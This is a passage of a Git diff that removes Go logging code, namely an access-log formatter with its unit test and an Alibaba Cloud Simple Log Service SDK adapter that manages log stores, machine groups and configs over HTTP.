e.SetEscapeHTML(false)
|
||||
}
|
||||
}
|
||||
|
||||
// AccessLog - Format and print access log.
|
||||
func AccessLog(r *AccessLogRecord, format string) {
|
||||
msg := r.format(format)
|
||||
lm := &LogMsg{
|
||||
Msg: strings.TrimSpace(msg),
|
||||
When: time.Now(),
|
||||
Level: levelLoggerImpl,
|
||||
}
|
||||
beeLogger.writeMsg(lm)
|
||||
}
|
||||
|
||||
func (r *AccessLogRecord) format(format string) string {
|
||||
msg := ""
|
||||
switch format {
|
||||
case apacheFormat:
|
||||
timeFormatted := r.RequestTime.Format("02/Jan/2006 03:04:05")
|
||||
msg = fmt.Sprintf(apacheFormatPattern, r.RemoteAddr, timeFormatted, r.Request, r.Status, r.BodyBytesSent,
|
||||
r.ElapsedTime.Seconds(), r.HTTPReferrer, r.HTTPUserAgent)
|
||||
case jsonFormat:
|
||||
fallthrough
|
||||
default:
|
||||
jsonData, err := r.json()
|
||||
if err != nil {
|
||||
msg = fmt.Sprintf(`{"Error": "%s"}`, err)
|
||||
} else {
|
||||
msg = string(jsonData)
|
||||
}
|
||||
}
|
||||
return msg
|
||||
}
|
||||
@@ -1,38 +0,0 @@
|
||||
// Copyright 2020
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
|
||||
package logs
|
||||
|
||||
import (
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/stretchr/testify/assert"
|
||||
)
|
||||
|
||||
func TestAccessLog_format(t *testing.T) {
|
||||
alc := &AccessLogRecord{
|
||||
RequestTime: time.Date(2020, 9, 19, 21, 21, 21, 11, time.UTC),
|
||||
}
|
||||
|
||||
res := alc.format(apacheFormat)
|
||||
println(res)
|
||||
assert.Equal(t, " - - [19/Sep/2020 09:21:21] \" 0 0\" 0.000000 ", res)
|
||||
|
||||
res = alc.format(jsonFormat)
|
||||
assert.Equal(t,
|
||||
"{\"remote_addr\":\"\",\"request_time\":\"2020-09-19T21:21:21.000000011Z\",\"request_method\":\"\",\"request\":\"\",\"server_protocol\":\"\",\"host\":\"\",\"status\":0,\"body_bytes_sent\":0,\"elapsed_time\":0,\"http_referrer\":\"\",\"http_user_agent\":\"\",\"remote_user\":\"\"}\n", res)
|
||||
|
||||
AccessLog(alc, jsonFormat)
|
||||
}
|
||||
@@ -1,205 +0,0 @@
|
||||
package alils
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"github.com/cdle/sillyplus/core/logs"
|
||||
"github.com/gogo/protobuf/proto"
|
||||
"github.com/pkg/errors"
|
||||
)
|
||||
|
||||
const (
|
||||
// CacheSize sets the flush size
|
||||
CacheSize int = 64
|
||||
// Delimiter defines the topic delimiter
|
||||
Delimiter string = "##"
|
||||
)
|
||||
|
||||
// Config is the Config for Ali Log
|
||||
type Config struct {
|
||||
Project string `json:"project"`
|
||||
Endpoint string `json:"endpoint"`
|
||||
KeyID string `json:"key_id"`
|
||||
KeySecret string `json:"key_secret"`
|
||||
LogStore string `json:"log_store"`
|
||||
Topics []string `json:"topics"`
|
||||
Source string `json:"source"`
|
||||
Level int `json:"level"`
|
||||
FlushWhen int `json:"flush_when"`
|
||||
Formatter string `json:"formatter"`
|
||||
}
|
||||
|
||||
// aliLSWriter implements LoggerInterface.
|
||||
// Writes messages in keep-live tcp connection.
|
||||
type aliLSWriter struct {
|
||||
store *LogStore
|
||||
group []*LogGroup
|
||||
withMap bool
|
||||
groupMap map[string]*LogGroup
|
||||
lock *sync.Mutex
|
||||
Config
|
||||
formatter logs.LogFormatter
|
||||
}
|
||||
|
||||
// NewAliLS creates a new Logger
|
||||
func NewAliLS() logs.Logger {
|
||||
alils := new(aliLSWriter)
|
||||
alils.Level = logs.LevelTrace
|
||||
alils.formatter = alils
|
||||
return alils
|
||||
}
|
||||
|
||||
// Init parses config and initializes struct
|
||||
func (c *aliLSWriter) Init(config string) error {
|
||||
err := json.Unmarshal([]byte(config), c)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if c.FlushWhen > CacheSize {
|
||||
c.FlushWhen = CacheSize
|
||||
}
|
||||
|
||||
prj := &LogProject{
|
||||
Name: c.Project,
|
||||
Endpoint: c.Endpoint,
|
||||
AccessKeyID: c.KeyID,
|
||||
AccessKeySecret: c.KeySecret,
|
||||
}
|
||||
|
||||
store, err := prj.GetLogStore(c.LogStore)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
c.store = store
|
||||
|
||||
// Create default Log Group
|
||||
c.group = append(c.group, &LogGroup{
|
||||
Topic: proto.String(""),
|
||||
Source: proto.String(c.Source),
|
||||
Logs: make([]*Log, 0, c.FlushWhen),
|
||||
})
|
||||
|
||||
// Create other Log Group
|
||||
c.groupMap = make(map[string]*LogGroup)
|
||||
for _, topic := range c.Topics {
|
||||
|
||||
lg := &LogGroup{
|
||||
Topic: proto.String(topic),
|
||||
Source: proto.String(c.Source),
|
||||
Logs: make([]*Log, 0, c.FlushWhen),
|
||||
}
|
||||
|
||||
c.group = append(c.group, lg)
|
||||
c.groupMap[topic] = lg
|
||||
}
|
||||
|
||||
if len(c.group) == 1 {
|
||||
c.withMap = false
|
||||
} else {
|
||||
c.withMap = true
|
||||
}
|
||||
|
||||
c.lock = &sync.Mutex{}
|
||||
|
||||
if len(c.Formatter) > 0 {
|
||||
fmtr, ok := logs.GetFormatter(c.Formatter)
|
||||
if !ok {
|
||||
return errors.New(fmt.Sprintf("the formatter with name: %s not found", c.Formatter))
|
||||
}
|
||||
c.formatter = fmtr
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (c *aliLSWriter) Format(lm *logs.LogMsg) string {
|
||||
return lm.OldStyleFormat()
|
||||
}
|
||||
|
||||
func (c *aliLSWriter) SetFormatter(f logs.LogFormatter) {
|
||||
c.formatter = f
|
||||
}
|
||||
|
||||
// WriteMsg writes a message in connection.
|
||||
// If connection is down, try to re-connect.
|
||||
func (c *aliLSWriter) WriteMsg(lm *logs.LogMsg) error {
|
||||
if lm.Level > c.Level {
|
||||
return nil
|
||||
}
|
||||
|
||||
var topic string
|
||||
var content string
|
||||
var lg *LogGroup
|
||||
if c.withMap {
|
||||
|
||||
// Topic,LogGroup
|
||||
strs := strings.SplitN(lm.Msg, Delimiter, 2)
|
||||
if len(strs) == 2 {
|
||||
pos := strings.LastIndex(strs[0], " ")
|
||||
topic = strs[0][pos+1 : len(strs[0])]
|
||||
lg = c.groupMap[topic]
|
||||
}
|
||||
|
||||
// send to empty Topic
|
||||
if lg == nil {
|
||||
lg = c.group[0]
|
||||
}
|
||||
} else {
|
||||
lg = c.group[0]
|
||||
}
|
||||
|
||||
content = c.formatter.Format(lm)
|
||||
|
||||
c1 := &LogContent{
|
||||
Key: proto.String("msg"),
|
||||
Value: proto.String(content),
|
||||
}
|
||||
|
||||
l := &Log{
|
||||
Time: proto.Uint32(uint32(lm.When.Unix())),
|
||||
Contents: []*LogContent{
|
||||
c1,
|
||||
},
|
||||
}
|
||||
|
||||
c.lock.Lock()
|
||||
lg.Logs = append(lg.Logs, l)
|
||||
c.lock.Unlock()
|
||||
|
||||
if len(lg.Logs) >= c.FlushWhen {
|
||||
c.flush(lg)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Flush implementing method. empty.
|
||||
func (c *aliLSWriter) Flush() {
|
||||
// flush all group
|
||||
for _, lg := range c.group {
|
||||
c.flush(lg)
|
||||
}
|
||||
}
|
||||
|
||||
// Destroy destroy connection writer and close tcp listener.
|
||||
func (c *aliLSWriter) Destroy() {
|
||||
}
|
||||
|
||||
func (c *aliLSWriter) flush(lg *LogGroup) {
|
||||
c.lock.Lock()
|
||||
defer c.lock.Unlock()
|
||||
err := c.store.PutLogs(lg)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
lg.Logs = make([]*Log, 0, c.FlushWhen)
|
||||
}
|
||||
|
||||
func init() {
|
||||
logs.Register(logs.AdapterAliLS, NewAliLS)
|
||||
}
|
||||
@@ -1,13 +0,0 @@
|
||||
package alils
|
||||
|
||||
const (
|
||||
version = "0.5.0" // SDK version
|
||||
signatureMethod = "hmac-sha1" // Signature method
|
||||
|
||||
// OffsetNewest is the log head offset, i.e. the offset that will be
|
||||
// assigned to the next message that will be produced to the shard.
|
||||
OffsetNewest = "end"
|
||||
// OffsetOldest is the the oldest offset available on the logstore for a
|
||||
// shard.
|
||||
OffsetOldest = "begin"
|
||||
)
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,42 +0,0 @@
|
||||
package alils
|
||||
|
||||
// InputDetail defines log detail
|
||||
type InputDetail struct {
|
||||
LogType string `json:"logType"`
|
||||
LogPath string `json:"logPath"`
|
||||
FilePattern string `json:"filePattern"`
|
||||
LocalStorage bool `json:"localStorage"`
|
||||
TimeFormat string `json:"timeFormat"`
|
||||
LogBeginRegex string `json:"logBeginRegex"`
|
||||
Regex string `json:"regex"`
|
||||
Keys []string `json:"key"`
|
||||
FilterKeys []string `json:"filterKey"`
|
||||
FilterRegex []string `json:"filterRegex"`
|
||||
TopicFormat string `json:"topicFormat"`
|
||||
}
|
||||
|
||||
// OutputDetail defines the output detail
|
||||
type OutputDetail struct {
|
||||
Endpoint string `json:"endpoint"`
|
||||
LogStoreName string `json:"logstoreName"`
|
||||
}
|
||||
|
||||
// LogConfig defines Log Config
|
||||
type LogConfig struct {
|
||||
Name string `json:"configName"`
|
||||
InputType string `json:"inputType"`
|
||||
InputDetail InputDetail `json:"inputDetail"`
|
||||
OutputType string `json:"outputType"`
|
||||
OutputDetail OutputDetail `json:"outputDetail"`
|
||||
|
||||
CreateTime uint32
|
||||
LastModifyTime uint32
|
||||
|
||||
project *LogProject
|
||||
}
|
||||
|
||||
// GetAppliedMachineGroup returns applied machine group of this config.
|
||||
func (c *LogConfig) GetAppliedMachineGroup(confName string) (groupNames []string, err error) {
|
||||
groupNames, err = c.project.GetAppliedMachineGroups(c.Name)
|
||||
return
|
||||
}
|
||||
@@ -1,813 +0,0 @@
|
||||
/*
|
||||
Package alils implements the SDK(v0.5.0) of Simple Log Service(abbr. SLS).
|
||||
|
||||
For more description about SLS, please read this article:
|
||||
http://gitlab.alibaba-inc.com/sls/doc.
|
||||
*/
|
||||
package alils
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"net/http"
|
||||
"net/http/httputil"
|
||||
)
|
||||
|
||||
// Error message in SLS HTTP response.
|
||||
type errorMessage struct {
|
||||
Code string `json:"errorCode"`
|
||||
Message string `json:"errorMessage"`
|
||||
}
|
||||
|
||||
// LogProject defines the Ali Project detail
|
||||
type LogProject struct {
|
||||
Name string // Project name
|
||||
Endpoint string // IP or hostname of SLS endpoint
|
||||
AccessKeyID string
|
||||
AccessKeySecret string
|
||||
}
|
||||
|
||||
// NewLogProject creates a new SLS project.
|
||||
func NewLogProject(name, endpoint, AccessKeyID, accessKeySecret string) (p *LogProject, err error) {
|
||||
p = &LogProject{
|
||||
Name: name,
|
||||
Endpoint: endpoint,
|
||||
AccessKeyID: AccessKeyID,
|
||||
AccessKeySecret: accessKeySecret,
|
||||
}
|
||||
return p, nil
|
||||
}
|
||||
|
||||
// ListLogStore returns all logstore names of project p.
|
||||
func (p *LogProject) ListLogStore() (storeNames []string, err error) {
|
||||
h := map[string]string{
|
||||
"x-sls-bodyrawsize": "0",
|
||||
}
|
||||
|
||||
uri := fmt.Sprintf("/logstores")
|
||||
r, err := request(p, "GET", uri, h, nil)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
buf, err := ioutil.ReadAll(r.Body)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if r.StatusCode != http.StatusOK {
|
||||
errMsg := &errorMessage{}
|
||||
err = json.Unmarshal(buf, errMsg)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("failed to list logstore")
|
||||
dump, _ := httputil.DumpResponse(r, true)
|
||||
fmt.Printf("%s\n", dump)
|
||||
return
|
||||
}
|
||||
err = fmt.Errorf("%v:%v", errMsg.Code, errMsg.Message)
|
||||
return
|
||||
}
|
||||
|
||||
type Body struct {
|
||||
Count int
|
||||
LogStores []string
|
||||
}
|
||||
body := &Body{}
|
||||
|
||||
err = json.Unmarshal(buf, body)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
storeNames = body.LogStores
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
// GetLogStore returns logstore according by logstore name.
|
||||
func (p *LogProject) GetLogStore(name string) (s *LogStore, err error) {
|
||||
h := map[string]string{
|
||||
"x-sls-bodyrawsize": "0",
|
||||
}
|
||||
|
||||
r, err := request(p, "GET", "/logstores/"+name, h, nil)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
buf, err := ioutil.ReadAll(r.Body)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if r.StatusCode != http.StatusOK {
|
||||
errMsg := &errorMessage{}
|
||||
err = json.Unmarshal(buf, errMsg)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("failed to get logstore")
|
||||
dump, _ := httputil.DumpResponse(r, true)
|
||||
fmt.Printf("%s\n", dump)
|
||||
return
|
||||
}
|
||||
err = fmt.Errorf("%v:%v", errMsg.Code, errMsg.Message)
|
||||
return
|
||||
}
|
||||
|
||||
s = &LogStore{}
|
||||
err = json.Unmarshal(buf, s)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
s.project = p
|
||||
return
|
||||
}
|
||||
|
||||
// CreateLogStore creates a new logstore in SLS,
|
||||
// where name is logstore name,
|
||||
// and ttl is time-to-live(in day) of logs,
|
||||
// and shardCnt is the number of shards.
|
||||
func (p *LogProject) CreateLogStore(name string, ttl, shardCnt int) (err error) {
|
||||
type Body struct {
|
||||
Name string `json:"logstoreName"`
|
||||
TTL int `json:"ttl"`
|
||||
ShardCount int `json:"shardCount"`
|
||||
}
|
||||
|
||||
store := &Body{
|
||||
Name: name,
|
||||
TTL: ttl,
|
||||
ShardCount: shardCnt,
|
||||
}
|
||||
|
||||
body, err := json.Marshal(store)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
h := map[string]string{
|
||||
"x-sls-bodyrawsize": fmt.Sprintf("%v", len(body)),
|
||||
"Content-Type": "application/json",
|
||||
"Accept-Encoding": "deflate", // TODO: support lz4
|
||||
}
|
||||
|
||||
r, err := request(p, "POST", "/logstores", h, body)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
body, err = ioutil.ReadAll(r.Body)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if r.StatusCode != http.StatusOK {
|
||||
errMsg := &errorMessage{}
|
||||
err = json.Unmarshal(body, errMsg)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("failed to create logstore")
|
||||
dump, _ := httputil.DumpResponse(r, true)
|
||||
fmt.Printf("%s\n", dump)
|
||||
return
|
||||
}
|
||||
err = fmt.Errorf("%v:%v", errMsg.Code, errMsg.Message)
|
||||
return
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
// DeleteLogStore deletes a logstore according by logstore name.
|
||||
func (p *LogProject) DeleteLogStore(name string) (err error) {
|
||||
h := map[string]string{
|
||||
"x-sls-bodyrawsize": "0",
|
||||
}
|
||||
|
||||
r, err := request(p, "DELETE", "/logstores/"+name, h, nil)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
body, err := ioutil.ReadAll(r.Body)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if r.StatusCode != http.StatusOK {
|
||||
errMsg := &errorMessage{}
|
||||
err = json.Unmarshal(body, errMsg)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("failed to delete logstore")
|
||||
dump, _ := httputil.DumpResponse(r, true)
|
||||
fmt.Printf("%s\n", dump)
|
||||
return
|
||||
}
|
||||
err = fmt.Errorf("%v:%v", errMsg.Code, errMsg.Message)
|
||||
return
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// UpdateLogStore updates a logstore according by logstore name,
|
||||
// obviously we can't modify the logstore name itself.
|
||||
func (p *LogProject) UpdateLogStore(name string, ttl, shardCnt int) (err error) {
|
||||
type Body struct {
|
||||
Name string `json:"logstoreName"`
|
||||
TTL int `json:"ttl"`
|
||||
ShardCount int `json:"shardCount"`
|
||||
}
|
||||
|
||||
store := &Body{
|
||||
Name: name,
|
||||
TTL: ttl,
|
||||
ShardCount: shardCnt,
|
||||
}
|
||||
|
||||
body, err := json.Marshal(store)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
h := map[string]string{
|
||||
"x-sls-bodyrawsize": fmt.Sprintf("%v", len(body)),
|
||||
"Content-Type": "application/json",
|
||||
"Accept-Encoding": "deflate", // TODO: support lz4
|
||||
}
|
||||
|
||||
r, err := request(p, "PUT", "/logstores", h, body)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
body, err = ioutil.ReadAll(r.Body)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if r.StatusCode != http.StatusOK {
|
||||
errMsg := &errorMessage{}
|
||||
err = json.Unmarshal(body, errMsg)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("failed to update logstore")
|
||||
dump, _ := httputil.DumpResponse(r, true)
|
||||
fmt.Printf("%s\n", dump)
|
||||
return
|
||||
}
|
||||
err = fmt.Errorf("%v:%v", errMsg.Code, errMsg.Message)
|
||||
return
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
// ListMachineGroup returns machine group name list and the total number of machine groups.
|
||||
// The offset starts from 0 and the size is the max number of machine groups could be returned.
|
||||
func (p *LogProject) ListMachineGroup(offset, size int) (m []string, total int, err error) {
|
||||
h := map[string]string{
|
||||
"x-sls-bodyrawsize": "0",
|
||||
}
|
||||
|
||||
if size <= 0 {
|
||||
size = 500
|
||||
}
|
||||
|
||||
uri := fmt.Sprintf("/machinegroups?offset=%v&size=%v", offset, size)
|
||||
r, err := request(p, "GET", uri, h, nil)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
buf, err := ioutil.ReadAll(r.Body)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if r.StatusCode != http.StatusOK {
|
||||
errMsg := &errorMessage{}
|
||||
err = json.Unmarshal(buf, errMsg)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("failed to list machine group")
|
||||
dump, _ := httputil.DumpResponse(r, true)
|
||||
fmt.Printf("%s\n", dump)
|
||||
return
|
||||
}
|
||||
err = fmt.Errorf("%v:%v", errMsg.Code, errMsg.Message)
|
||||
return
|
||||
}
|
||||
|
||||
type Body struct {
|
||||
MachineGroups []string
|
||||
Count int
|
||||
Total int
|
||||
}
|
||||
body := &Body{}
|
||||
|
||||
err = json.Unmarshal(buf, body)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
m = body.MachineGroups
|
||||
total = body.Total
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
// GetMachineGroup retruns machine group according by machine group name.
|
||||
func (p *LogProject) GetMachineGroup(name string) (m *MachineGroup, err error) {
|
||||
h := map[string]string{
|
||||
"x-sls-bodyrawsize": "0",
|
||||
}
|
||||
|
||||
r, err := request(p, "GET", "/machinegroups/"+name, h, nil)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
buf, err := ioutil.ReadAll(r.Body)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if r.StatusCode != http.StatusOK {
|
||||
errMsg := &errorMessage{}
|
||||
err = json.Unmarshal(buf, errMsg)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("failed to get machine group:%v", name)
|
||||
dump, _ := httputil.DumpResponse(r, true)
|
||||
fmt.Printf("%s\n", dump)
|
||||
return
|
||||
}
|
||||
err = fmt.Errorf("%v:%v", errMsg.Code, errMsg.Message)
|
||||
return
|
||||
}
|
||||
|
||||
m = &MachineGroup{}
|
||||
err = json.Unmarshal(buf, m)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
m.project = p
|
||||
return
|
||||
}
|
||||
|
||||
// CreateMachineGroup creates a new machine group in SLS.
|
||||
func (p *LogProject) CreateMachineGroup(m *MachineGroup) (err error) {
|
||||
body, err := json.Marshal(m)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
h := map[string]string{
|
||||
"x-sls-bodyrawsize": fmt.Sprintf("%v", len(body)),
|
||||
"Content-Type": "application/json",
|
||||
"Accept-Encoding": "deflate", // TODO: support lz4
|
||||
}
|
||||
|
||||
r, err := request(p, "POST", "/machinegroups", h, body)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
body, err = ioutil.ReadAll(r.Body)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if r.StatusCode != http.StatusOK {
|
||||
errMsg := &errorMessage{}
|
||||
err = json.Unmarshal(body, errMsg)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("failed to create machine group")
|
||||
dump, _ := httputil.DumpResponse(r, true)
|
||||
fmt.Printf("%s\n", dump)
|
||||
return
|
||||
}
|
||||
err = fmt.Errorf("%v:%v", errMsg.Code, errMsg.Message)
|
||||
return
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
// UpdateMachineGroup updates a machine group.
|
||||
func (p *LogProject) UpdateMachineGroup(m *MachineGroup) (err error) {
|
||||
body, err := json.Marshal(m)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
h := map[string]string{
|
||||
"x-sls-bodyrawsize": fmt.Sprintf("%v", len(body)),
|
||||
"Content-Type": "application/json",
|
||||
"Accept-Encoding": "deflate", // TODO: support lz4
|
||||
}
|
||||
|
||||
r, err := request(p, "PUT", "/machinegroups/"+m.Name, h, body)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
body, err = ioutil.ReadAll(r.Body)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if r.StatusCode != http.StatusOK {
|
||||
errMsg := &errorMessage{}
|
||||
err = json.Unmarshal(body, errMsg)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("failed to update machine group")
|
||||
dump, _ := httputil.DumpResponse(r, true)
|
||||
fmt.Printf("%s\n", dump)
|
||||
return
|
||||
}
|
||||
err = fmt.Errorf("%v:%v", errMsg.Code, errMsg.Message)
|
||||
return
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
// DeleteMachineGroup deletes machine group according machine group name.
|
||||
func (p *LogProject) DeleteMachineGroup(name string) (err error) {
|
||||
h := map[string]string{
|
||||
"x-sls-bodyrawsize": "0",
|
||||
}
|
||||
|
||||
r, err := request(p, "DELETE", "/machinegroups/"+name, h, nil)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
body, err := ioutil.ReadAll(r.Body)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if r.StatusCode != http.StatusOK {
|
||||
errMsg := &errorMessage{}
|
||||
err = json.Unmarshal(body, errMsg)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("failed to delete machine group")
|
||||
dump, _ := httputil.DumpResponse(r, true)
|
||||
fmt.Printf("%s\n", dump)
|
||||
return
|
||||
}
|
||||
err = fmt.Errorf("%v:%v", errMsg.Code, errMsg.Message)
|
||||
return
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// ListConfig returns config names list and the total number of configs.
|
||||
// The offset starts from 0 and the size is the max number of configs could be returned.
|
||||
func (p *LogProject) ListConfig(offset, size int) (cfgNames []string, total int, err error) {
|
||||
h := map[string]string{
|
||||
"x-sls-bodyrawsize": "0",
|
||||
}
|
||||
|
||||
if size <= 0 {
|
||||
size = 100
|
||||
}
|
||||
|
||||
uri := fmt.Sprintf("/configs?offset=%v&size=%v", offset, size)
|
||||
r, err := request(p, "GET", uri, h, nil)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
buf, err := ioutil.ReadAll(r.Body)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if r.StatusCode != http.StatusOK {
|
||||
errMsg := &errorMessage{}
|
||||
err = json.Unmarshal(buf, errMsg)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("failed to delete machine group")
|
||||
dump, _ := httputil.DumpResponse(r, true)
|
||||
fmt.Printf("%s\n", dump)
|
||||
return
|
||||
}
|
||||
err = fmt.Errorf("%v:%v", errMsg.Code, errMsg.Message)
|
||||
return
|
||||
}
|
||||
|
||||
type Body struct {
|
||||
Total int
|
||||
Configs []string
|
||||
}
|
||||
body := &Body{}
|
||||
|
||||
err = json.Unmarshal(buf, body)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
cfgNames = body.Configs
|
||||
total = body.Total
|
||||
return
|
||||
}
|
||||
|
||||
// GetConfig returns config according by config name.
|
||||
func (p *LogProject) GetConfig(name string) (c *LogConfig, err error) {
|
||||
h := map[string]string{
|
||||
"x-sls-bodyrawsize": "0",
|
||||
}
|
||||
|
||||
r, err := request(p, "GET", "/configs/"+name, h, nil)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
buf, err := ioutil.ReadAll(r.Body)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if r.StatusCode != http.StatusOK {
|
||||
errMsg := &errorMessage{}
|
||||
err = json.Unmarshal(buf, errMsg)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("failed to delete config")
|
||||
dump, _ := httputil.DumpResponse(r, true)
|
||||
fmt.Printf("%s\n", dump)
|
||||
return
|
||||
}
|
||||
err = fmt.Errorf("%v:%v", errMsg.Code, errMsg.Message)
|
||||
return
|
||||
}
|
||||
|
||||
c = &LogConfig{}
|
||||
err = json.Unmarshal(buf, c)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
c.project = p
|
||||
return
|
||||
}
|
||||
|
||||
// UpdateConfig updates a config.
|
||||
func (p *LogProject) UpdateConfig(c *LogConfig) (err error) {
|
||||
body, err := json.Marshal(c)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
h := map[string]string{
|
||||
"x-sls-bodyrawsize": fmt.Sprintf("%v", len(body)),
|
||||
"Content-Type": "application/json",
|
||||
"Accept-Encoding": "deflate", // TODO: support lz4
|
||||
}
|
||||
|
||||
r, err := request(p, "PUT", "/configs/"+c.Name, h, body)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
body, err = ioutil.ReadAll(r.Body)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if r.StatusCode != http.StatusOK {
|
||||
errMsg := &errorMessage{}
|
||||
err = json.Unmarshal(body, errMsg)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("failed to update config")
|
||||
dump, _ := httputil.DumpResponse(r, true)
|
||||
fmt.Printf("%s\n", dump)
|
||||
return
|
||||
}
|
||||
err = fmt.Errorf("%v:%v", errMsg.Code, errMsg.Message)
|
||||
return
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
// CreateConfig creates a new config in SLS.
|
||||
func (p *LogProject) CreateConfig(c *LogConfig) (err error) {
|
||||
body, err := json.Marshal(c)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
h := map[string]string{
|
||||
"x-sls-bodyrawsize": fmt.Sprintf("%v", len(body)),
|
||||
"Content-Type": "application/json",
|
||||
"Accept-Encoding": "deflate", // TODO: support lz4
|
||||
}
|
||||
|
||||
r, err := request(p, "POST", "/configs", h, body)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
body, err = ioutil.ReadAll(r.Body)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if r.StatusCode != http.StatusOK {
|
||||
errMsg := &errorMessage{}
|
||||
err = json.Unmarshal(body, errMsg)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("failed to update config")
|
||||
dump, _ := httputil.DumpResponse(r, true)
|
||||
fmt.Printf("%s\n", dump)
|
||||
return
|
||||
}
|
||||
err = fmt.Errorf("%v:%v", errMsg.Code, errMsg.Message)
|
||||
return
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
// DeleteConfig deletes a config according by config name.
|
||||
func (p *LogProject) DeleteConfig(name string) (err error) {
|
||||
h := map[string]string{
|
||||
"x-sls-bodyrawsize": "0",
|
||||
}
|
||||
|
||||
r, err := request(p, "DELETE", "/configs/"+name, h, nil)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
body, err := ioutil.ReadAll(r.Body)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if r.StatusCode != http.StatusOK {
|
||||
errMsg := &errorMessage{}
|
||||
err = json.Unmarshal(body, errMsg)
|
||||
if err != nil {
|
||||
err = fmt.Errorf("failed to delete config")
|
||||
dump, _ := httputil.DumpResponse(r, true)
|
||||
fmt.Printf("%s\n", dump)
|
||||
return
|
||||
}
|
||||
err = fmt.Errorf("%v:%v", errMsg.Code, errMsg.Message)
|
||||
return
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
